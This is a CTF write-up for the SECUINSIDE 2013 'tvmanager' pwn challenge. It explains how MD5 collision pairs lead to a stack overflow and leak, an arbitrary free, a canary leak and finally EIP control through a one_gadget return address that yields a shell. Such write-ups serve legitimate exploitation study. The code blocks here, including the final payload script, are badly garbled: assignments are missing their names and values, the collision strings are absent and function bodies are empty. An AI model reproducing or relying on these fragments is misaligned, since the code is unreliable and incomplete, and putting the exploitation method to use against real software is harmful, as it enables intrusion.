SECUINSIDE CTF 2013 - tvmanager
Table of Contents
0x00. Introduction
Structure
Concept
int __cdecl
The input name is hashed with md5 to create a path, and every time a movie is registered, a file is created under the path with the hash value of movie->name to store the contents.
0x01. Vulnerability
MD5 collision
There are several vulnerabilities and we need to exploit them comprehensively, but the first thing to look at is MD5 collision.
A collision refers to a phenomenon where different input strings produce the same value in hash function, and a pair of such inputs is called a collision pair. An example found through googling is as follows:
# md5 collision - 79054025255fb1a26e4bc422aef54eb4
=
=
They look roughly similar, but if you look closely, a few bytes are different here and there. As a side note, when a few bytes that differ here and there are \x00 or \xff, it becomes quite troublesome because they get cut off during strcpy() or fread() processes in the binary, so it’s good to find collision pairs that avoid these well.
When we register a movie with collision pairs that have the same hash value as names:
int
Since the input strings are different, the strcmp(movie_ptr->name, src) check passes, and since the hashed values are the same, the same file is opened at fd = fopen(src, "wb").
This allows us to trigger the next vulnerability.
Stack Overflow & Leak
Let’s assume that the first movie_1 has a size of 0x4, and the second movie_2 has a size of 0x1000.
int
Then when we broadcast with movie_1, since size is 0x4, it reads the file contents into stack_buf and copies byte by byte. However, since we created movie_1 and then created movie_2, the file currently has 0x1000 bytes of content written. In the above code, it copies to stack_buf until \xff appears, so we can overwrite not only size and contents after stack_buf, but even the return address.
We can either cause an overflow or leak other values this way. Now let’s assume a situation where movie_1 has a size of 0x3ff and movie_2 has a size of 0x400. If we make the first byte of movie_2’s content \xff, copying ends immediately and we can see the stack memory without changing a single byte.
Looking at the stack values at the point of copying, there are many attractive values written during other operations, and we can leak stack, libc, code, and heap areas with a single leak.
The problem is the canary. While we need a stack leak for this, the vulnerability doesn’t hold if movie_1’s size is greater than 0x3ff, so this method is impossible. Therefore, another vulnerability is required.
Arbitrary Free
int
Using the previous stack overflow vulnerability, we can manipulate size and contents.
If the previous leak was performed well, there’s a heap address, so by manipulating size to a value greater than 0x3ff and calculating the offset to manipulate the contents value, we can free() any chunk in the heap. The chunk freed this way goes to a bin and is reused as is when there’s a malloc() request for the same size, so if we look for a place where we can malloc() the length we want:
int
In register(), we can control the size of name_ptr for storing the movie name, and we can also input the content. We’ll use this to leak the canary.
After that, we can use the stack overflow vulnerability again to control eip.
0x02. Exploit
Stack Leak
The first thing to do is stack leak using md5 collision.
# md5 collision - 79054025255fb1a26e4bc422aef54eb4
=
=
# stack, heap, libc leak
# index 1
# index 2
=
=
By creating movie_1 as 0x3ff and movie_2 as 0x400, and making movie_2’s content \xff so that not a single byte is copied, we can leak 0x3ff bytes of uncontaminated stack from stack_buf.
Since it sends via socket by specifying IP and port with broadcast instead of just printing the content, I used pwntools’ listen().
Arbitrary Free
Now we need to trigger arbitrary free based on the leaked values. Although it’s basically the same vulnerability, since it’s difficult to reuse the collision pair, I used a new collision pair.
# md5 collision - cee9a457e790cf20d4bdaa6d69f01e41
=
=
# free(movie_1)
# index 3
= b * 0x400 # buf
+= # size
+= # contents, movie_1
# index 4
As in the above payload, I manipulated size to 0x400 for free and manipulated the contents value to free movie_1. To reallocate this freed chunk:
# canary leak
= b # size
+= b # category
+= # name, canary
+= # next, movie_2
+= b # prev
# index 5
I wrote the payload so that name has the same structure as struct movie and executed register.
At this time, I was going to just set the category value to 1(\x01\x00\x00\x00), but since it’s copied to name through strcpy(movie_new->name, src);, the payload after cuts off if there’s \x00 in the middle. If I fill the category value with a dummy value like 0x41414141, an OOB error occurs in list which is executed for the leak.
int
So I overwrote it with \xff\xff\xff\xff meaning -1 to solve both constraints at once. In this state, when list is called, since movie_ptr->name points to the canary’s address, canary leak is possible.
EIP Control
Now that we have all the necessary information, eip control is possible. So I set the return address to a usable address through one_gadget.
Then the final payload is as follows:
# md5 collision - fe6c446ee3a831ee010f33ac9c1b602c
=
=
# eip control
# index 6
= b * 0x400 # buf
+= # size
+= # contents
+= # canary
+= b * 0xc # dummy
+= # return
# index 7
We need another pair of collision, and by adding the offset of one shot gadget to the leaked libc address and writing it to the return address, we can execute a shell.
0x03. Payload
= True
=
=
= 0x56555000
= 0x56559100
= 0x56559120
=
= f
=
return
return
return
return
=
=
=
=
=
# md5 collision - 79054025255fb1a26e4bc422aef54eb4
=
=
# md5 collision - cee9a457e790cf20d4bdaa6d69f01e41
=
=
# md5 collision - fe6c446ee3a831ee010f33ac9c1b602c
=
=
# stack, heap, libc leak
# index 1
# index 2
=
=
= - 0x16a0
=
= - 0x1b3da7
# free(movie_1)
# index 3
= b * 0x400 # buf
+= # size
+= # contents, movie_1
# index 4
# canary leak
= b # size
+= b # category
+= # name
+= # next
+= b # prev
# index 5
=
=
# eip control
# index 6
= b * 0x400 # buf
+= # size
+= # contents
+= # canary
+= b * 0xc # dummy
+= # return
# index 7